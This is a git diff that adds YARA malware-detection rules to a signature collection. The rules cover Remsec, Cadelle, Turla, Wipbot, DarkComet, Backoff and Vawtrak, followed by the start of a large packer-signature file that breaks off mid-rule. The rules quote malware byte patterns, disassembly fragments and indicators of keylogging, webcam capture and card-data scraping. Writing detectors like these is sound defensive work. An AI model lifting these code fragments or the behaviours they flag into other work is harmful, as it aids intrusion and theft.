+73 05
+35 01 00 00 D0
+E2 F0
+}
+condition:
+all of them
+}
+
+rule remsec_executable_blob_64
+{
+meta:
+copyright = "Symantec"
+strings:
+$code =
+/*
+31 06                       l0: xor   
+[rsi], eax
+48 83 C6 04                     add     rsi, 4
+D1 E8                           shr     eax, 1
+73 05                           jnb     short l1
+35 01 00 00 D0                  xor     eax, 0D00000
+01h
+E2 EF                       l1: loop    l0
+*/
+{
+31 06
+48 83 C6 04
+D1 E8
+73 05
+35 01 00 00 D0
+E2 EF
+}
+condition:
+all of them
+}
+
+rule 
+remsec_executable_blob_parser
+{
+meta:
+copyright = "Symantec"
+strings:
+$code =
+/*
+0F 82 ?? ?? 00 00               jb      l_0
+80 7? 04 02                     cmp     byte ptr [r0+4], 2
+0F 
+85 ?? ?? 00 00               jnz     l_0
+81 3? 02 AA 02 C1               cmp     dword ptr [r0], 
+0C102AA02h
+0F 85 ?? ?? 00 00               jnz     l_0
+8B ?? 06                        mov     r1, [r0+6]
+*/
+{
+( 0F 82 ?? ?? 00 00 | 72 ?? )
+( 80 | 41 80 ) ( 7? | 7C 24 ) 04 02
+( 0F 85 ?? ?? 00 00 | 75 ?? )
+( 81 | 41 81 ) ( 3? | 3C 24 | 7D 00 ) 02 AA 02 C1
+( 0F 85 ?? ?? 00 00 | 75 ?? )
+( 8B | 41 
+8B | 44 8B | 45 8B ) ( 4? | 5? | 6? | 7? | ?4 24 | 
+?C 24 ) 06
+}
+condition:
+all of them
+}
+
+rule remsec_encrypted_api
+{
+meta:
+copyright = "Symantec"
+strings:
+$open_process =
+/*
+"OpenProcess
+\
+x00" in encrypted form
+*/
+{ 91 9A 8F B0 9C 90 8D AF 8C 8C 9A FF }
+condition:
+all of them
+}
+
+rule remsec_packer_A
+{
+meta:
+copyright = "Symantec"
+strings:
+$code =
+/*
+69 ?? AB 00 00 00               imul    r0, 0ABh
+81 C? CD 2B 00 00               add     r0, 2BCDh
+F7 E?                           mul     r0
+C1 E? 0D                        shr     r1, 0Dh
+69 ?? 85 CF 00 00               imul    r1, 0CF85h
+2B                              sub     r0, r1
+*/
+{
+69 ( C? | D? | E? | F? ) AB 00 00 00
+( 81 | 41 81 ) C? CD 2B 00 00
+( F7 | 41 
+F7 ) E?
+( C1 | 41 C1 ) E? 0D
+( 69 | 45 69 ) ( C? | D? | E? | F? ) 85 CF 00 00
+( 29 | 41 29 | 44 29 | 45 29 | 2B | 41 2B | 44 2B | 45 2B )
+}
+condition:
+all of them
+}
+
+rule remsec_packer_B
+{
+meta:
+copyright = "Symantec"
+strings:
+$code =
+/*
+48 8B 05 C4 2D 01 00            mov     rax, cs:LoadLibraryA
+48 89 44 24 48                  mov     qword ptr 
+[rsp+1B8h+descriptor+18h], rax
+48 8B 05 A
+0 2D 01 00            mov     rax, cs:GetProcAddress
+48 8D 4C 24 30                  lea     rcx, 
+[rsp+1B8h+descriptor]
+48 89 44 2
+4 50                  mov     qword ptr 
+[rsp+1B8h+descriptor+20h], rax
+48 8D 84 24 80 00 00 00         lea     rax, 
+[rsp+1B8h+var_138]
+C6 44 24 30 00                  mov     [rsp+1B8h+descriptor], 
+0
+48 89 44 24 60      
+mov     qword ptr 
+[rsp+1B8h+descriptor+30h], rax
+48 8D 84 24 80 00 00 00         lea     rax, 
+[rsp+1B8h+var_138]
+C7 44 24 34 03 00 00 00         mov     dword ptr 
+[rsp+1B8h+descriptor+4], 3
+2B F8             
+sub     edi, eax
+48 89 5C 24 38                  mov     qword ptr 
+[rsp+1B8h+descriptor+8], rbx
+44 89 6C 24 40                  mov     dword ptr 
+[rsp+1B8h+descriptor+10h], r13d
+83 C7 08                    
+add     edi, 8
+89 7C 24 68                     mov     dword ptr 
+[rsp+1B8h+descriptor+38h], edi
+FF D5                           call    rbp
+05 00 00 00 3A                  add     eax, 3A000000h
+*/
+{
+48 8B 05 ?? ?? ?? ??
+48 89 44 24 ??
+48 8B 05 ?? ?? ?? ??
+48 8D 4C 24 ??
+48 89 44 24 ??
+48 8D ( 45 ?? | 84 24 ?? ?? 00 00 )
+( 44 88 6? 24 ?? | C6 44 24 ?? 00 )
+48 89 44 24 ??
+48 8D ( 45 ?? | 84 24 ?? ?? 00 00 )
+C7 44 24 ?? 0? 00 00 00
+2B ?8
+48 89 ?C 24 ??
+44 89 6? 24 ??
+83 C? 08
+89 ?C 24 ??
+( FF | 41 FF ) D?
+( 05 | 8D 88 ) 00 00 00 3A
+}
+condition:
+all of them
+}
+
+rule Cadelle_1
+{
+meta:
+	author = "Symantec"
+	reference = "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf"
+strings:
+	$s1 = { 56 57 8B F8 8B F1 33 C0 3B F0 74 22 39 44 24 0C 74 18 0F B7 0F 66 3B C8 74 10 66 89 0A 42 42 47 47 4E FF 4C 24 0C 3B F0 75 E2 3B F0 75 07 4A 4A B8 7A 00 07 80 33 C9 5F 66 89 0A 5E C2 04 00}
+	$s2 = "ntsvc32"
+	$s3 = "ntbind32"
+condition:
+	$s1 and ($s2 or $s3)
+}
+
+rule Cadelle_2
+{
+meta:
+	author = "Symantec"
+	reference = "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf"
+strings:
+	$s1  = "[EXECUTE]" wide ascii
+	$s2  = "WebCamCapture" wide ascii
+	$s3  = "</DAY>" wide ascii
+	$s4  ="</DOCUMENT>" wide ascii
+	$s5  = "<DOCUMENT>" wide ascii
+	$s6  = "<DATETIME>" wide ascii
+	$s7  = "Can't open file for reading :" wide ascii
+	$s8  = "</DATETIME>" wide ascii
+	$s9  = "</USERNAME>" wide ascii
+	$s10 = "JpegFile :" wide ascii
+	$s12 = "[SCROLL]" wide ascii
+	$s13 = "<YEAR>" wide ascii
+	$s14 = "CURRENT DATE" wide ascii
+	$s15 = "</YEAR>" wide ascii
+	$s16 = "</MONTH>" wide ascii
+	$s17 = "<PRINTERNAME>" wide ascii
+	$s18 = "</DRIVE>" wide ascii
+	$s19 = "<DATATYPE>" wide ascii
+	$s20 = "<MACADDRESS>" wide ascii
+	$s21 = "FlashMemory" wide ascii
+condition:
+	12 of them
+}
+
+rule Cadelle_3
+{
+meta:
+	author = "Symantec"
+	reference = "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf"
+strings:
+	$s1  = "SOFTWARE\\ntsvc32\\HDD" wide ascii
+	$s2  = "SOFTWARE\\ntsvc32\\ROU" wide ascii
+	$s3  = "SOFTWARE\\ntsvc32\\HST" wide ascii
+	$s4  = "SOFTWARE\\ntsvc32\\FLS" wide ascii
+	$s5  = "ntsvc32" wide ascii
+	$s6  = ".Win$py." wide ascii
+	$s7  = "C:\\users\\" wide ascii
+	$s8  = "%system32%" wide ascii
+	$s9  = "\\Local Settings\\Temp" wide ascii
+	$s10 = "SVWATAUAVAW" wide ascii
+	$s11 = "\\AppData\\Local" wide ascii
+	$s12 = "\\AppData" wide ascii
+condition:
+	6 of them
+}
+
+rule Cadelle_4
+{
+meta:
+	author = "Symantec"
+	reference = "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf"
+strings:
+	$s1 = "AppInit_DLLs" wide ascii
+	$s2 = { 5C 00 62 00 61 00 63 00 6B 00 75 00 70 00 00 }
+	$s3 = { 5C 00 75 00 70 00 64 00 61 00 74 00 65 00 00 }
+	$s4 = "\\cmd.exe" wide ascii
+condition:
+	all of them
+}
diff --git a/yara-mikesxrs/symantec/turla _ dll.yar b/yara-mikesxrs/symantec/turla _ dll.yar
new file mode 100644
index 0000000..05526d6
--- /dev/null
+++ b/yara-mikesxrs/symantec/turla _ dll.yar	
@@ -0,0 +1,14 @@
+rule turla_dll
+{
+	
+    meta:
+ 		Malware = "Trojan.Turla DLL"
+ 		author = "Symantec"
+ 		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
+        
+	strings:
+		$a = /([A-Za-z0-9]{2,10} _ ){,2}Win32\.dll\x00/
+
+	condition:
+		pe.exports("ee") and $a
+}
diff --git a/yara-mikesxrs/symantec/turla _ dropper.yar b/yara-mikesxrs/symantec/turla _ dropper.yar
new file mode 100644
index 0000000..9d6bab2
--- /dev/null
+++ b/yara-mikesxrs/symantec/turla _ dropper.yar	
@@ -0,0 +1,14 @@
+rule turla_dropper
+{
+	meta:
+ 		Malware = "Trojan.Turla dropper"
+ 		author = "Symantec"
+ 		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
+ 	
+	strings:
+		$a = {0F 31 14 31 20 31 3C 31 85 31 8C 31 A8 31 B1 31 D1 31 8B 32 91 32 B6 32 C4 32 6C 33 AC 33 10 34}
+		$b = {48 41 4C 2E 64 6C 6C 00 6E 74 64 6C 6C 2E 64 6C 6C 00 00 00 57 8B F9 8B 0D ?? ?? ?? ?? ?? C9 75 26 56 0F 20 C6 8B C6 25 FF FF FE FF 0F 22 C0 E8}
+        
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/wipbot _ 2013 _ core _ PDF.yar b/yara-mikesxrs/symantec/wipbot _ 2013 _ core _ PDF.yar
new file mode 100644
index 0000000..4862ca4
--- /dev/null
+++ b/yara-mikesxrs/symantec/wipbot _ 2013 _ core _ PDF.yar	
@@ -0,0 +1,14 @@
+rule wipbot_2013_core_PDF
+{
+	meta:
+		author = "Symantec"
+		description = "Trojan.Wipbot 2014 core PDF"
+		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
+ 	strings:
+ 		$PDF = "%PDF-"
+ 		$a = /\+[A-Za-z]{1}\. _ _ \$\+[A-Za-z]{1}\. _ \$ _ \+/
+ 		$b = /\+[A-Za-z]{1}\.\$\$\$ _ \+/
+
+ 	condition:
+ 		($PDF at 0) and #a > 150 and #b > 200
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/wipbot _ 2013 _ core.yar b/yara-mikesxrs/symantec/wipbot _ 2013 _ core.yar
new file mode 100644
index 0000000..b861bbc
--- /dev/null
+++ b/yara-mikesxrs/symantec/wipbot _ 2013 _ core.yar	
@@ -0,0 +1,45 @@
+rule wipbot_2013_core 
+{
+ 	meta:
+ 		description = "core + core; garbage appended data (PDF Exploit leftovers) + wipbot dropper; fake AdobeRd32 Error"
+ 		Malware = "Trojan.Wipbot 2013 core component"
+ 		author = "Symantec"
+ 		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
+
+ 	strings:
+ 		$mz = "MZ"
+	/*
+ 	8947 0C MOV DWORD PTR DS:[EDI+C], EAX
+ 	C747 10 90C20400 MOV DWORD PTR DS:[EDI+10], 4C290
+ 	C747 14 90C21000 MOV DWORD PTR DS:[EDI+14], 10C290
+ 	C747 18 90906068 MOV DWORD PTR DS:[EDI+18], 68609090
+ 	894F 1C MOV DWORD PTR DS:[EDI+1C], ECX
+ 	C747 20 909090B8 MOV DWORD PTR DS:[EDI+20], B8909090
+ 	894F 24 MOV DWORD PTR DS:[EDI+24], ECX
+ 	C747 28 90FFD061 MOV DWORD PTR DS:[EDI+28], 61D0FF90
+ 	C747 2C 90C20400 MOV DWORD PTR DS:[EDI+2C], 4C290
+ 	*/
+ 		$code1 = { 89 47 0C C7 47 10 90 C2 04 00 C7 47 14 90 C2 10 00 C7 47 18 90 90 60 68 89 4F 1C C7 47 20 90 90 90 B8 89 4F 24 C7 47 28 90 FF D0 61 C7 47 2C 90 C2 04 00}
+ 	/*
+ 	85C0 TEST EAX, EAX
+ 	75 25 JNZ SHORT 64106327.00403AF1
+ 	8B0B MOV ECX, DWORD PTR DS:[EBX]
+ 	BF ???????? MOV EDI, ????????
+ 	EB 17 JMP SHORT 64106327.00403AEC
+ 	69D7 0D661900 IMUL EDX, EDI, 19660D
+ 	8DBA 5FF36E3C LEA EDI, DWORD PTR DS:[EDX+3C6EF35F]
+ 	89FE MOV ESI, EDI
+ 	C1EE 10 SHR ESI, 10
+ 	89F2 MOV EDX, ESI
+ 	301401 XOR BYTE PTR DS:[ECX+EAX], DL
+ 	40 INC EAX
+ 	3B43 04 CMP EAX, DWORD PTR DS:[EBX+4]
+ 	72 E4 JB SHORT 64106327.00403AD5
+ 	*/
+ 		$code2 = { 85 C0 75 25 8B 0B BF ?? ?? ?? ?? EB 17 69 D7 0D 66 19 00 8D BA 5F F3 6E 3C 89 FE C1 EE 10 89 F2 30 14 01 40 3B 43 04 72 E4}
+ 		$code3 = {90 90 90 ?? B9 00 4D 5A 90 00 03 00 00 00 82 04}
+		$code4 = {55 89 E5 5D C3 55 89 E5 83 EC 18 8B 45 08 85 C0}
+
+ 	condition:
+ 		$mz at 0 and (($code1 or $code2) or ($code3 and $code4))
+}
diff --git a/yara-mikesxrs/symantec/wipbot _ 2013 _ dll.yar b/yara-mikesxrs/symantec/wipbot _ 2013 _ dll.yar
new file mode 100644
index 0000000..099d646
--- /dev/null
+++ b/yara-mikesxrs/symantec/wipbot _ 2013 _ dll.yar	
@@ -0,0 +1,18 @@
+rule wipbot_2013_dll 
+{
+ 	meta:
+ 		author = "Symantec"
+		description = "Trojan.Wipbot 2013 DLL"
+		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
+ 		description = "Down.dll component"
+        
+ 	strings:
+		$string1 = "/%s?rank=%s"
+		$string2 = "ModuleStart\x00ModuleStop\x00start"
+		$string3 = "1156fd22-3443-4344-c4ffff"
+		//read file... error..
+		$string4 = "read\x20file\x2E\x2E\x2E\x20error\x00\x00"
+
+	condition:
+		2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/tekdefense/DarkComet.yara b/yara-mikesxrs/tekdefense/DarkComet.yara
new file mode 100644
index 0000000..8a02b25
--- /dev/null
+++ b/yara-mikesxrs/tekdefense/DarkComet.yara
@@ -0,0 +1,105 @@
+rule DarkComet_Config_Artifacts_Memory
+
+{   
+
+     meta:
+
+           Description = "Looks for configuration artifacts from DarkComet. Works with memory dump and unpacked samples."
+
+           filetype = "MemoryDump"         
+
+           Author = "Ian Ahl @TekDefese"
+
+           Date = "12-19-2013"
+
+           reference = "http://www.tekdefense.com/news/2013/12/23/analyzing-darkcomet-in-memory.html"
+
+     strings:
+
+           $s0 = "GENCODE={" ascii
+
+           $s1 = "MELT={" ascii
+
+           $s2 = "COMBOPATH={" ascii
+
+           $s3 = "NETDATA={" ascii
+
+           $s4 = "PERSINST={" ascii
+
+     condition:
+
+           2 of them
+
+}
+
+ 
+
+rule DarkComet_Default_Mutex_Memory
+
+{   
+
+     meta:
+
+           Description = "Looks for default DarkComet mutexs"
+
+           filetype = "MemoryDump"              
+
+           Author = "Ian Ahl @TekDefese"
+
+           Date = "12-20-2013"
+
+           reference = "http://www.tekdefense.com/news/2013/12/23/analyzing-darkcomet-in-memory.html"
+
+
+     strings:
+
+           $s = "DC_MUTEX-" ascii nocase
+
+     condition:
+
+           any of them
+
+}
+
+ 
+
+rule DarkComet_Keylogs_Memory
+
+{   
+
+     meta:
+
+           Description = "Looks for key log artifacts"
+
+           filetype = "MemoryDump"              
+
+           Author = "Ian Ahl @TekDefese"
+
+           Date = "12-20-2013"
+
+           reference = "http://www.tekdefense.com/news/2013/12/23/analyzing-darkcomet-in-memory.html"
+
+
+     strings:
+
+           $s0 = "[<-]"
+
+           $s1 = ":: Clipboard Change :"
+
+           $s2 = "[LEFT]"
+
+           $s4 = "[RIGHT]"
+
+           $s5 = "[UP]"
+
+           $s6 = "[DOWN]"
+
+           $s7 = "[DEL]"
+
+           $s8 = /::.{1,100}\(\d{1,2}:\d{1,2}:\d{1,2}\s\w{2}\)/  
+
+     condition:
+
+           any of them
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/unknown/AutoIt_Script.yar b/yara-mikesxrs/unknown/AutoIt_Script.yar
new file mode 100644
index 0000000..ddac894
--- /dev/null
+++ b/yara-mikesxrs/unknown/AutoIt_Script.yar
@@ -0,0 +1,15 @@
+rule AutoIt_Script {
+    meta:
+    description = "AutoIt Script - used by attackers"
+   
+    strings:    
+        $keyword1 = "#include <FTPEX.au3>"
+        $keyword2 = "#include <updateftp.au3>"
+        $keyword3 = "#include <WinAPI.au3>"
+        $keyword4 = "Global $FTPServer" fullword
+        $keyword5 = "Global $FTPUser" fullword
+        $keyword6 = "= _FTP_Connect"
+       
+    condition:
+    1 of ($keyword*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/unknown/SANSDFIR.yara b/yara-mikesxrs/unknown/SANSDFIR.yara
new file mode 100644
index 0000000..381ec5f
--- /dev/null
+++ b/yara-mikesxrs/unknown/SANSDFIR.yara
@@ -0,0 +1,88 @@
+rule Heist
+{
+	meta:
+    	md5_1 = "0ebf68bb15c2e36508cf3f46d32cf2e3"
+        md5_2 = "c49b7a9681ad387922f14a1601652e5b"
+        md5_3 = "e0350e67c526ffab0c97c5e04a6e9f12"
+        md5_4 = "bb552a4bdc573566da897a651b9041e6"
+        date = "11/4/2015"
+        author = "Kevin Perlow"
+        reference = "https://www.youtube.com/watch?v=DdkLY99HgAA"
+
+	strings:
+
+        $string = "Coded By - (Picasso)"
+
+    condition:
+
+        any of them
+
+}
+
+rule backoff_opcode
+{
+	meta:
+		author = "Swackhamer"
+		md5 = "01F0D20A1A32E535B950428F5B5D6E72"
+    reference = "https://www.youtube.com/watch?v=DdkLY99HgAA"
+	strings:
+	// Function: 404344 cc_validation
+		$cc_validation = { 3C 5E ?? ?? ?? 74 ?? 3C 3D 0F ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 3C 01 ?? ?? ?? 76 ?? 80 ?? ?? ?? 0F ?? ?? ?? ?? ?? 3C 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 74 ?? 39 ?? ?? ?? ?? ?? 76 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? 76 ?? ?? ?? 80 ?? ?? 74 ?? 80 ?? ?? 74 ?? 80 ?? ?? ?? 74 ?? E9 ?? ?? ?? ?? ?? ?? EB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 3C 04 0F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 3C 09 0F ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 0F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 3C 09 0F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 3C 09 0F ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 0F ?? ?? ?? ?? }
+	// Function: 404539 memory_enum
+		$memory_enum = { 3B ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? 75 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? ?? ?? E9 ?? ?? ?? ?? 83 ?? ?? ?? 75 ?? ?? ?? 81 ?? ?? ?? ?? ?? ?? 75 ?? 8B ?? ?? 39 C6 73 ?? 29 ?? ?? ?? B8 ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? 75 ?? 8B ?? ?? EB ?? 8B ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ?? E8 }
+	condition:
+		any of them
+
+}
+
+rule russian_ransomware_Sept22
+{
+meta:
+	description = "Found on http://abrazivstroy.ru/wp-content/uploads/2015/01/ Tracking full campaign"
+	date = "09/22/2015"
+	author = "Kevin Perlow"
+	note = "The path string will also allow it to pick up the infostealer from the same source. Comment it out if you want"
+	note1 = "The smoothtiny string is the best way to catch the fourth piece which didnt contain the unique string"
+  reference = "https://www.youtube.com/watch?v=DdkLY99HgAA"
+strings:
+    $profile1 = "ame View Xerrter Fertui's profile. Viadeo helps professionals like Xerrter Fertui boost their career" wide
+	$profile2 = "View Xerrter Fertui's profile. Viadeo helps professionals like Xerrter Fertui boost their career" wide
+	$path1 = "\\Gertiopertores\\Certiop.vdp" wide
+	$process = "Smoothtiny"
+	$compression = "!thiv qrobpam%ccgnnms bg'rsm\"in AIS'hlae."
+	$path2 = "AKT -21092015-PowerPoint.exe"
+	$path3 = "\\Documents\\chm\\AKT -21092015-PowerPoint.exe" wide
+	$path4 = "C:\\Users\\A90B~1\\AppData\\Local\\Temp\\AKT -21092015-PowerPoint.exe"
+	$path5 = "C:\\Users\\A90B~1\\AppData\\Local\\Temp\\AKT -21092015-PowerPoint.exe" wide
+	$path6 = "AKT -21092015-PowerPoint.exe9" wide
+	$path7 = "\\Documents\\chm\\AKT -21092015-PowerPoint.exe" wide
+	$path8 = "C:\\Users\\836D~1\\AppData\\Local\\Temp\\PEWER POINT PRESENTATION.exe" wide
+	$path9 = "PEWER POINT PRESENTATION.exe=" wide
+	$path10 = "\\Documents\\PEWER POINT PRESENTATION.exe"
+	$profile3 = "s Ainda precisam da uma melhorada nos pistols, pois a maioria dos jogos ja come" wide
+condition:
+    	any of them
+}
+
+rule early_october2015_vawtrak_dropper{
+	meta:
+		author = "Kevin Perlow"
+		SHA256 = "3d1e7e54db786c6aef572d1ef57ad1c26413aacbf2fd91eb700d469c550dd4df"
+		SHA256 = "3ffbe191d9326f97db4ffaf6b294c166397bf1c77d28e2ab44d41fca511ce55b"
+    reference = "https://www.youtube.com/watch?v=DdkLY99HgAA"
+	strings:
+		$VBA = { 00 41 74 74 72 69 62 75 74 00 } //doc contains VBA
+		$rtf = { 2E 72 74 66} //rtf in hex, will appear if in macro unofuscated
+        $exe = {2E 65 78 65} //exe in hex
+		$string1 = "TEMP$ 4"
+		$string2 = /[0-9][0-9][0-9]\.rtf/
+		$string3 = /[a-zA-Z0-9][a-zA-Z0-9][a-zA-Z0-9]\.exe/
+		$a = {d0 cf 11 e0}
+		$string4 = /C:\\Aaa\\exe\\[0-9A-Za-z]*\.exe/
+		$string5 =  /C:\\Users\\M\\AppData\\Local\\Temp\\[0-9A-Za-z]*\.exe/
+		$string6 = "X:\\multiplexing\\limitations\\electr.pdb"
+		$Dyreza = "C:\\Users\\Em\\AppData\\Local\\Temp\\w12.exe"
+		$RSA = "This file is protected with RSA key." nocase
+	condition:
+		$a at 0 and $VBA and (($rtf and $exe) or 2 of ($string1,$string2,$string3) or 2 of ($string4,$string5,$string6) or 2 of ($Dyreza,$RSA))
+}
diff --git a/yara-mikesxrs/unknown/UserDB.yara b/yara-mikesxrs/unknown/UserDB.yara
new file mode 100644
index 0000000..92213a6
--- /dev/null
+++ b/yara-mikesxrs/unknown/UserDB.yara
@@ -0,0 +1,15128 @@
+rule _Nullsoft_Install_System_v20_
+{
+	meta:
+		description = "Nullsoft Install System v2.0"
+	strings:
+		$0 = {83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+	condition:
+		$0
+}
+rule _AHTeam_EP_Protector_03_fake_Microsoft_Visual_Cpp_70__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake Microsoft Visual C++ 7.0) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? 89 65 00 8B F4 89 3E 56 FF 15 ?? ?? ?? ?? 8B 4E ?? 89 0D ?? ?? ?? 00 8B 46 00 A3}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Keypress1212_
+{
+	meta:
+		description = "Vx: Keypress.1212"
+	strings:
+		$0 = {E8 ?? ?? E8 ?? ?? E8 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EA ?? ?? ?? ?? 1E 33 DB 8E DB BB}
+	condition:
+		$0 at entrypoint
+}
+rule _E2C_by_DoP_
+{
+	meta:
+		description = "E2C by DoP"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? B9 ?? ?? FC 57 F3 A5 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Guard_for_Win32_v500__SofProBlagoje_Ceklic_
+{
+	meta:
+		description = "PC Guard for Win32 v5.00 -> SofPro/Blagoje Ceklic"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 ?? ?? ?? 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _LaunchAnywhere_v4001_
+{
+	meta:
+		description = "LaunchAnywhere v4.0.0.1"
+	strings:
+		$0 = {55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v09781_
+{
+	meta:
+		description = "PECompact v0.978.1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 49 87 40 ?? 87 DD 8B 85 CE 87}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_iBox_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 iBox [LZMA] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 67 30 00 00 8D 9D 66 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v14_
+{
+	meta:
+		description = "Petite v1.4"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 ?? ?? ?? ?? 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _VcAsm_Protector__VcAsm_
+{
+	meta:
+		description = "VcAsm Protector -> VcAsm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v134__v140b1_
+{
+	meta:
+		description = "PECompact v1.34 - v1.40b1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 00 80 ?? 40 90 90 01 85 9E 80 ?? 40 BB F8 10}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_051__tE_
+{
+	meta:
+		description = "tElock 0.51 -> tE!"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 00 00 59 EB 01 EB AC 54 E8 03 00 00 00 5C EB 08 8D 64 24 04 FF 64 24 FC 6A 05 D0 2C 24 72 01 E8 01 24 24 5C F7 DC EB 02 CD 20 8D 64 24 FE F7 DC EB 02 CD 20 FE C8 E8 00 00 00 00 32 C1 EB 02 82 0D AA EB 03 82 0D 58 EB 02 1D 7A 49 EB 05 E8 01 00 00 00 7F AE 14 7E A0 77 76 75 74}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v14xp_
+{
+	meta:
+		description = "PECompact v1.4x+"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+	condition:
+		$0 at entrypoint
+}
+rule _VcasmProtector_10e__vcasm_
+{
+	meta:
+		description = "Vcasm-Protector 1.0e -> vcasm"
+	strings:
+		$0 = {EB 0A 5B 56 50 72 6F 74 65 63 74 5D}
+	condition:
